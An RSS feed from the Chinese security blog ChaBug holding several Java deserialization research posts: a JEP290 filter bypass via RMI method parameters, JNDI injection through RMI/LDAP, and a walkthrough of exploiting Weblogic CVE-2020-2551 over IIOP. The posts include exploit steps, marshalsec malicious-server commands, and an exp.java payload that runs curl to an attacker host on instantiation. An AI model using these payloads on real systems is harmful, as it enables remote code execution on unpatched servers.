<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RMI &#8211; ChaBug安全</title>
	<atom:link href="/tags/rmi/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 30 Jul 2020 04:56:44 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Bypass JEP290</title>
		<link>/audit/1791.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 29 May 2020 03:32:29 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1791</guid>

					<description><![CDATA[关于JEP290 JEP290是Java底层为了缓解反序列化攻击提出的一种解决方案，主要做了以下几件事 提供一个限制反序列化类的机制，白名单或者黑名单。 限制反序列化的深度和复杂度...]]></description>
										<content:encoded><![CDATA[<h2>关于JEP290</h2>
<p>JEP290是Java底层为了缓解<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>攻击提出的一种解决方案，主要做了以下几件事</p>
<ol>
<li>提供一个限制反序列化类的机制，白名单或者黑名单。</li>
<li>限制反序列化的深度和复杂度。</li>
<li>为<span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>远程调用对象提供了一个验证类的机制。</li>
<li>定义一个可配置的过滤机制，比如可以通过配置properties文件的形式来定义过滤器。</li>
</ol>
<h2>JEP290的实际限制</h2>
<p>写一个RMIServer</p>
<p>RMIServer.<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span></p>
<pre><code class="language-java line-numbers">package org.chabug.rmi.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 1099;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
            // 创建一个服务
            Hello hello = new HelloImpl();
            // 服务命名绑定
            Naming.rebind(RMI_NAME, hello);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>HelloImpl.java</p>
<pre><code class="language-java line-numbers">package org.chabug.rmi.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    public String hello() throws RemoteException {
        return "hello world";
    }

    public String hello(String name) throws RemoteException {
        return "hello" + name;
    }

    public String hello(Object object) throws RemoteException {
        System.out.println(object);
        return "hello "+object.toString();
    }
}
</code></pre>
<p>Hello.java</p>
<pre><code class="language-java line-numbers">package org.chabug.rmi.server;


import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String hello() throws RemoteException;
    String hello(String name) throws RemoteException;
    String hello(Object object) throws RemoteException;
}
</code></pre>
<p>使用JDK7u21打Commonscollections1，成功弹出calc。<br />
<img src="https://y4er.com/img/uploads/20200529110235.png" alt="image.png" /></p>
<p>使用JDK8u221启动RMIServer攻击失败<br />
<img src="https://y4er.com/img/uploads/20200529113177.png" alt="image.png" /><br />
报错显示</p>
<pre><code class="line-numbers">ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a
</code></pre>
<h2>JEP290的过滤机制</h2>
<p>在上文的报错中可见<code>sun.reflect.annotation.AnnotationInvocationHandler</code>被拒绝，跟一下RMI的过程，看下在哪里过滤了，JEP290又是怎么实现的。以下使用JDK8U221调试</p>
<p>首先我们要清楚RMI的实现流程<br />
<img src="https://y4er.com/img/uploads/20200529118617.png" alt="image.png" /><br />
在远程引用层中客户端服务端两个交互的类分别是<code>RegistryImpl_Stub</code>和<code>RegistryImpl_Skel</code>，在服务端的<code>RegistryImpl_Skel</code>类中，向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用。<br />
<img src="https://y4er.com/img/uploads/20200529113113.png" alt="image.png" /></p>
<p>跟进63行进入到<code>java.io.ObjectInputStream#readObject</code>，然后进入<code>readObject0()</code><br />
<img src="https://y4er.com/img/uploads/20200529117657.png" alt="image.png" /><br />
在readObject0()之中进入readOrdinaryObject()<br />
<img src="https://y4er.com/img/uploads/20200529111407.png" alt="image.png" /><br />
继续进入readClassDesc()<br />
<img src="https://y4er.com/img/uploads/20200529116825.png" alt="image.png" /><br />
进入readProxyDesc()<br />
<img src="https://y4er.com/img/uploads/20200529118768.png" alt="image.png" /></p>
<p>在readProxyDesc()中有filterCheck<br />
<img src="https://y4er.com/img/uploads/20200529117829.png" alt="image.png" /></p>
<p>先检查其所有接口，然后检查对象自身。进入filterCheck()之后<br />
<img src="https://y4er.com/img/uploads/20200529113824.png" alt="image.png" /><br />
调用了serialFilter.checkInput()，最终来到<code>sun.rmi.registry.RegistryImpl#registryFilter</code><br />
<img src="https://y4er.com/img/uploads/20200529116979.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">return String.class != var2 &amp;&amp; !Number.class.isAssignableFrom(var2) &amp;&amp; !Remote.class.isAssignableFrom(var2) &amp;&amp; !Proxy.class.isAssignableFrom(var2) &amp;&amp; !UnicastRef.class.isAssignableFrom(var2) &amp;&amp; !RMIClientSocketFactory.class.isAssignableFrom(var2) &amp;&amp; !RMIServerSocketFactory.class.isAssignableFrom(var2) &amp;&amp; !ActivationID.class.isAssignableFrom(var2) &amp;&amp; !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200529116890.png" alt="image.png" /><br />
没有给<code>AnnotationInvocationHandler</code>白名单，所以返回REJECTED。</p>
<h2>绕过JEP290</h2>
<p>在RMI远程方法调用过程中，方法参数需要先序列化，从本地JVM发送到远程JVM，然后在远程JVM上反序列化，执行完后，将结果序列化，发送回本地JVM，而在本地的参数是我们可以控制的，如果向参数中注入gadget会怎么样？</p>
<p>我在HelloImpl实现了三个hello()方法，分别是void、string、Object类型的参数<br />
<img src="https://y4er.com/img/uploads/20200529119249.png" alt="image.png" /></p>
<p>在客户端我向Object参数类型注入cc5的gadget<br />
<img src="https://y4er.com/img/uploads/20200529118670.png" alt="image.png" /></p>
<p>运行成功弹出calc<br />
<img src="https://y4er.com/img/uploads/20200529110642.png" alt="image.png" /></p>
<p>也就是说：如果目标的RMI服务暴漏了Object参数类型的方法，我们就可以注入payload进去。</p>
<p>那么别的参数类型呢？在sun.rmi.server.UnicastRef#unmarshalValue中判断了远程调用方法的参数类型<br />
<img src="https://y4er.com/img/uploads/20200529113622.png" alt="image.png" /><br />
如果不是基本类型，就进入readObject，之后的流程也走了filterCheck过滤<br />
<img src="https://y4er.com/img/uploads/20200529110830.png" alt="image.png" /><br />
不过在<code>sun.rmi.transport.DGCImpl#checkInput</code>这里ObjID是在白名单中的，所以可以被反序列化。</p>
<p>那这个只是object类型的参数可以，其他的参数类型呢？</p>
<p>由于攻击者可以完全控制客户端，因此他可以用恶意对象替换从Object类派生的参数（例如String）有几种方法：</p>
<ol>
<li>将java.rmi软件包的代码复制到新软件包，然后在其中更改代码</li>
<li>将调试器附加到正在运行的客户端，并在序列化对象之前替换对象</li>
<li>使用Javassist之类的工具更改字节码</li>
<li>通过实现代理来替换网络流上已经序列化的对象</li>
</ol>
<p>afanti师傅用的是通过RASP hook住<code>java.rmi.server.RemoteObjectInvocationHandler</code>类的<code>InvokeRemoteMethod</code>方法的第三个参数非Object的改为Object的gadget。他的项目地址在<a class="wp-editor-md-post-content-link" href="https://github.com/Afant1/RemoteObjectInvocationHandler">RemoteObjectInvocationHandler</a>。</p>
<p>修改<code>src\main\java\afanti\rasp\visitor\RemoteObjectInvocationHandlerHookVisitor.java</code>的dnslog地址，然后打包出来在RMIClient运行前加上<code>-javaagent:e:/rasp-1.0-SNAPSHOT.jar</code></p>
<p>虽然报错参数类型不匹配<br />
<img src="https://y4er.com/img/uploads/20200529110171.png" alt="image.png" /></p>
<p>但是dnslog已经收到请求了。</p>
<p><img src="https://y4er.com/img/uploads/20200529117757.png" alt="image.png" /></p>
<h2>参考</h2>
<ol>
<li>https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/</li>
<li>https://www.anquanke.com/post/id/200860</li>
<li>https://github.com/Afant1/RemoteObjectInvocationHandler</li>
<li>https://paper.seebug.org/454/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>攻击Java中的JNDI、RMI、LDAP（二）</title>
		<link>/audit/1444.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 03:34:45 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jndi]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1444</guid>

					<description><![CDATA[上文我简述了JNDI，本文我将演示如何攻击JNDI。 JNDI注入 这个东西是BlackHat 2016（USA）的一个议题 &#8220;A Journey From JNDI ...]]></description>
										<content:encoded><![CDATA[<p>上文我简述了JNDI，本文我将演示如何攻击JNDI。</p>
<h2>JNDI注入</h2>
<p>这个东西是BlackHat 2016（USA）的一个议题 <a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">&#8220;A Journey From JNDI LDAP Manipulation To RCE&#8221;</a> 提出的。他的攻击步骤可以概括为以下几步：</p>
<ol>
<li>服务端实例化JNDI InitialContext请求attacker的恶意<span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>Server</li>
<li>InitialContext初始化期间lookup rmi://attacker/Obj</li>
<li>恶意RMIServer返回JNDI Reference</li>
<li>服务端接收到JNDI Reference之后会从恶意RMIServer获取工厂类</li>
<li>恶意RMIServer返回的工厂类中带有static块的Java代码，造成任意代码执行</li>
</ol>
<h2>攻击JNDI</h2>
<p>作者水平有限，本文仅讲述以下几种攻击JNDI的方法。<br />
1. JNDI 配合 RMI Remote Object(codebase)<br />
2. JNDI Reference 配合 RMI<br />
3. JNDI Reference 配合 <span class="wpcom_tag_link"><a href="/tags/ldap" title="LDAP" target="_blank">LDAP</a></span></p>
<h3>RMI Remote Object</h3>
<p>在早期Java是可以运行在浏览器中的，也就是Applet。使用Applet通常需要指定一个codebase参数，比如：</p>
<pre><code class="language-java ">&lt;applet code="HelloWorld.class" codebase="Applets" width="800" height="600"&gt;&lt;/applet&gt;
</code></pre>
<p>codebase是一个类地址，它告诉Java应该从哪里寻找class，就像classpath一样，但与classpath不一样的是codebase如果从本地加载不到，就会从远程地址中加载。如果codebase地址可控，在RMI中，codebase是和序列化数据一起传输的，所以会造成RCE。</p>
<p>但是codebase需要满足两个条件：</p>
<ol>
<li>安装并配置了SecurityManager</li>
<li>Java版本低于7u21、6u45，或者设置了 <code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi.server.useCodebaseOnly=false</code></li>
</ol>
<p>官方将 <code>java.rmi.server.useCodebaseOnly</code> 的默认值由 false 改为了 true 。 <code>java.rmi.server.useCodebaseOnly</code>配置为 true 的情况下，Java虚拟机将只信任预先配置好的 <code>codebase</code>，不再支持从RMI请求中获取。所以这个东西特别鸡肋。</p>
<p>在大多数情况下，你可以在命令行上通过属性 <code>java.rmi.server.codebase</code> 来设置Codebase。</p>
<p>例如，如果所需的类文件在Webserver的根目录下，那么设置Codebase的命令行参数如下（如果你把类文件打包成了jar，那么设置Codebase时需要指定这个jar文件）</p>
<pre><code class="language-bash ">-Djava.rmi.server.codebase=http://url:8080/
</code></pre>
<p>当接收程序试图从该URL的Webserver上下载类文件时，它会把类的包名转化成目录，在Codebase 的对应目录下查询类文件，如果你传递的是类文件 com.project.test ，那么接受方就会到下面的URL去下载类文件：</p>
<pre><code class="">http://url:8080/com/project/test.class
</code></pre>
<h3>JNDI Reference配合RMI</h3>
<p>看一下演示代码，同样本文仍然使用的是<a class="wp-editor-md-post-content-link" href="https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms">Longofo</a>师傅的代码。</p>
<pre><code class="language-java ">package com.longofo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
</code></pre>
<pre><code class="language-java ">package com.longofo.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//        Properties env = new Properties();
//        env.put(Context.INITIAL_CONTEXT_FACTORY,
//                "com.sun.jndi.rmi.registry.RegistryContextFactory");
//        env.put(Context.PROVIDER_URL,
//                "rmi://localhost:9999");

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // 下面这行是我自己加的 8u221需要 原因看下文
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        DirContext dirc = new InitialDirContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}
</code></pre>
<p>在RMIClient1.java中，我把<code>com.sun.<span class="wpcom_tag_link"><a href="/tags/jndi" title="jndi" target="_blank">jndi</a></span>.ldap.object.trustURLCodebase</code>设置为true，没加上之前一直不成功，一步一步跟一下才解决问题，看下我的分析步骤：</p>
<p>跟进lookup，然后在<code>javax/naming/spi/NamingManager.java:146</code>会尝试从本地加载类<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/85a522d4-e055-58af-d92e-affc2f68e062.png" alt="image.png" /></p>
<p>如不在classpath中会尝试从codebase加载<br />
<img src="/wp-content/uploads/2020/04/ec3608e4-7164-85dd-5443-ff7faa273365.png" alt="image.png" /></p>
<p>跟进loadClass</p>
<pre><code class="language-java ">public Class&lt;?&gt; loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
            URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}
</code></pre>
<p>发现依据<code>trustURLCodebase</code>的值来判断是否加载，在类的属性中发现<code>trustURLCodebase</code>取决于<code>com.sun.jndi.ldap.object.trustURLCodebase</code>的值。堆栈</p>
<pre><code class="language-java ">loadClass:101, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:24, RMIClient1 (com.longofo.jndi)
</code></pre>
<pre><code class="language-java ">private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
    AccessController.doPrivileged(
    new PrivilegedAction&lt;String&gt;() {
        public String run() {
            try {
                return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                                          "false");
            } catch (SecurityException e) {
                return "false";
            }
        }
    }
);
</code></pre>
<p>最后的效果就是这样</p>
<p><img src="/wp-content/uploads/2020/04/0cdaf07e-4ee7-e925-eb37-8ecbdbc26c30.png" alt="image.png" /></p>
<p>在实战用我更倾向于使用marshalsec来起RMI恶意服务，RMI服务端口号默认为1099</p>
<pre><code class="language-bash ">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099
</code></pre>
<p>你仍然需要自己启动web服务</p>
<h3>JNDI Reference配合LDAP</h3>
<p>在上文中说过，JNDI一般配合RMI、LDAP等协议进行使用，所以上文中有RMI，自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务，LDAP服务默认端口号为1389。</p>
<pre><code class="language-bash ">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
</code></pre>
<h2>JNDI注入的JDK版本限制</h2>
<p>由于JNDI注入动态加载的原理是使用Reference引用Object Factory类，其内部在上文中也分析到了使用的是URLClassLoader，所以不受<code>java.rmi.server.useCodebaseOnly=false</code>属性的限制。</p>
<p>但是不可避免的受到 <code>com.sun.jndi.rmi.object.trustURLCodebase</code>、<code>com.sun.jndi.cosnaming.object.trustURLCodebase</code>的限制。</p>
<ol>
<li>JDK 5U45、6U45、7u21、8u121 开始 <code>java.rmi.server.useCodebaseOnly</code> 默认配置为true</li>
<li>JDK 6u132、7u122、8u113 开始 <code>com.sun.jndi.rmi.object.trustURLCodebase</code> 默认值为false</li>
<li>JDK 11.0.1、8u191、7u201、6u211 <code>com.sun.jndi.ldap.object.trustURLCodebase</code> 默认为false</li>
</ol>
<p>一张图来展示JNDI注入的利用方式与JDK版本的关系：</p>
<p><img src="/wp-content/uploads/2020/04/0c2621c8-a2c3-fb3a-b27b-b8f0448863f4.png" alt="image.png" /></p>
<blockquote><p>
  图引用于 https://xz.aliyun.com/t/6633
</p></blockquote>
<p>小声逼逼:java每个版本的属性多多少少都有点不一样，对于搞安全的来讲实在是太累了:&lt;</p>
<h2>已知的JNDI注入</h2>
<p>对于JNDI注入，需要注意：</p>
<ol>
<li>仅由InitialContext或其子类初始化的Context对象（InitialDirContext或InitialLdapContext）容易受到JNDI注入攻击</li>
<li>InitialContext可以通过JNDI动态协议转换覆盖</li>
<li>InitialContext.rename()和InitialContext.lookupLink()最终也调用了lookup()</li>
</ol>
<p>还有一些包装类也调用了lookup()，比如：Spring的JndiTemplate。</p>
<ol>
<li><a class="wp-editor-md-post-content-link" href="https://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce">JtaTransactionManager</a> found by zerothinking</li>
<li><a class="wp-editor-md-post-content-link" href="https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html">com.sun.rowset.JdbcRowSetImpl</a> found by matthias_kaiser</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">javax.management.remote.rmi.RMIConnector.connect()</a> found by pwntester</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()</a> found by pwntester</li>
</ol>
<p>这些带佬是真的强&#8230;</p>
<h2>小结</h2>
<p>本文简述了如何攻击JNDI，以及一些限制条件，并且列举了一些已知的JNDI注入，解释了上文中留下来的坑。下文将讲述RMI。</p>
<h2>参考链接</h2>
<ol>
<li>https://paper.seebug.org/1091/</li>
<li>Java安全漫谈 &#8211; 05.RMI篇(2)</li>
<li>https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html</li>
<li>https://xz.aliyun.com/t/6633</li>
<li>https://javasec.org/javase/JNDI/</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[内置工具]Weblogic CVE-2020-2551 IIOP协议反序列化RCE</title>
		<link>/audit/1282.html</link>
					<comments>/audit/1282.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 28 Feb 2020 09:46:09 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[IIOP]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1282</guid>

					<description><![CDATA[IIOP协议导致的反序列化。 环境 weblogic10.3.6+jdk1.6 idea+jdk1.8+jdk1.6 IIOP IIOP，Internet Inter-ORB Pr...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/iiop" title="IIOP" target="_blank">IIOP</a></span>协议导致的<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>。<br />
<span id="more-1282"></span></p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>10.3.6+jdk1.6<br />
idea+jdk1.8+jdk1.6</p>
<h2>IIOP</h2>
<p>IIOP，Internet Inter-ORB Protocol(互联网内部对象请求代理协议)，它是一个用于CORBA 2.0及兼容平台上的协议；用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。</p>
<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>-IIOP出现以前，只有RMI和CORBA两种选择来进行分布式程序设计，二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点，克服了他们的缺点，使得程序员能更方便的编写分布式程序设计，实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性，RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。</p>
<p>在Weblogic中，默认启用了IIOP，而IIOP的传输也是通过序列化和反序列化的形式来进行的。在Weblogic中RMI-IIOP模型可以借用奇安信观星实验室的一张图来说明</p>
<p><img src="https://y4er.com/img/uploads/20200228171035.png" alt="image" /></p>
<h2>IIOP样例</h2>
<p>先来看一个简单的RMI-IIOP样例，具体代码可以看 https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms</p>
<pre><code class="language-java ">package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl();

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}
</code></pre>
<p>Server端通过InitialContext拿到上下文，然后注册一个HelloService对应helloRef引用，而HelloImpl又实现了HelloInterface接口，其中有一个sayHello方法并且继承<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi.Remote抛出java.rmi.RemoteException，这部分其实和RMI是大同小异的，在我的其他文章中介绍过了RMI，这里不再赘述。</p>
<h2>漏洞分析</h2>
<p>现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化，那么我们可以通过向服务器7001端口发送一个恶意的序列化对象，IIOP达到RCE。</p>
<p>发送恶意序列化对象的过程，其实就是bind的过程，由此我们可以构造请求</p>
<pre><code class="language-java ">Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);

Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);
</code></pre>
<p>你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的？</p>
<ol>
<li>JtaTransactionManager是spring爆出的一个可以JDNI注入的类，在weblogic中也存在。</li>
<li>weblogic.jndi.WLInitialContextFactory 是weblogic的JDNI工厂类。</li>
</ol>
<p>国际惯例，跟一下流程，IIOP解析数据流的部分看不懂不跟了，从IIOP开始反序列化对象开始</p>
<p>E:/sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725<br />
<img src="/wp-content/uploads/2020/02/20200228174070.png" alt="image" /></p>
<p>此时var2是序列化传入的<code>com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>，跟进readValue()<br />
<img src="/wp-content/uploads/2020/02/20200228172827.png" alt="image" /></p>
<p>跟进readValueData()，判断是否有readObject方法之后进入自身的readObject()，也就是<code>om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>的readObject</p>
<p><img src="/wp-content/uploads/2020/02/20200228175633.png" alt="image" /></p>
<p>然后通过反射调用JtaTransactionManager的readObject()，跟进<br />
<img src="/wp-content/uploads/2020/02/20200228176407.png" alt="image" /></p>
<p>到此之后就是Weblogic的CVE-2018-3191 spring JDNI注入了，简单来说就是lookup()的参数可控，导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()<br />
<img src="/wp-content/uploads/2020/02/20200228172797.png" alt="image" /></p>
<p>如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction()，跟进<br />
<img src="/wp-content/uploads/2020/02/20200228171163.png" alt="image" /></p>
<p>此时lookup()参数可控<br />
<img src="/wp-content/uploads/2020/02/20200228170996.png" alt="image" /></p>
<p>lookup加载我们的RMI服务，可以注入恶意ip的rmi服务，触发实例化恶意类构造方法调用。如果不明白请参考文末的《Spring framework 反序列化的漏洞》以及《weblogic之CVE-2018-3191漏洞分析》。</p>
<h2>漏洞利用</h2>
<p>Github：https://github.com/Y4er/CVE-2020-2551</p>
<p>下载jar包，然后使用marshalsec起一个恶意的RMI服务，本地编译一个exp.java</p>
<pre><code class="language-java ">package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p><strong>尽量使用和weblogic相同的版本编译</strong> 然后本地起一个web服务器</p>
<pre><code class="">python -m http.server --bind 0.0.0.0 80
</code></pre>
<p>命令行运行jar包</p>
<pre><code class="">java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
</code></pre>
<p>实际效果如图<br />
<img src="/wp-content/uploads/2020/02/20200228174168.gif" alt="image" /></p>
<h2>参考链接</h2>
<ol>
<li>https://paper.seebug.org/1130</li>
<li>https://seaii-blog.com/index.php/2019/12/29/92.html</li>
<li>https://www.anquanke.com/post/id/197605</li>
<li>https://www.cnblogs.com/afanti/p/10256843.html</li>
<li>https://www.cnblogs.com/afanti/p/10193169.html</li>
<li>https://github.com/Y4er/CVE-2020-2551</li>
<li>https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms</li>
<li>https://paper.seebug.org/1105/</li>
<li>https://paper.seebug.org/1091/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/audit/1282.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Java RMI原理及反序列化学习</title>
		<link>/audit/1221.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:16:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
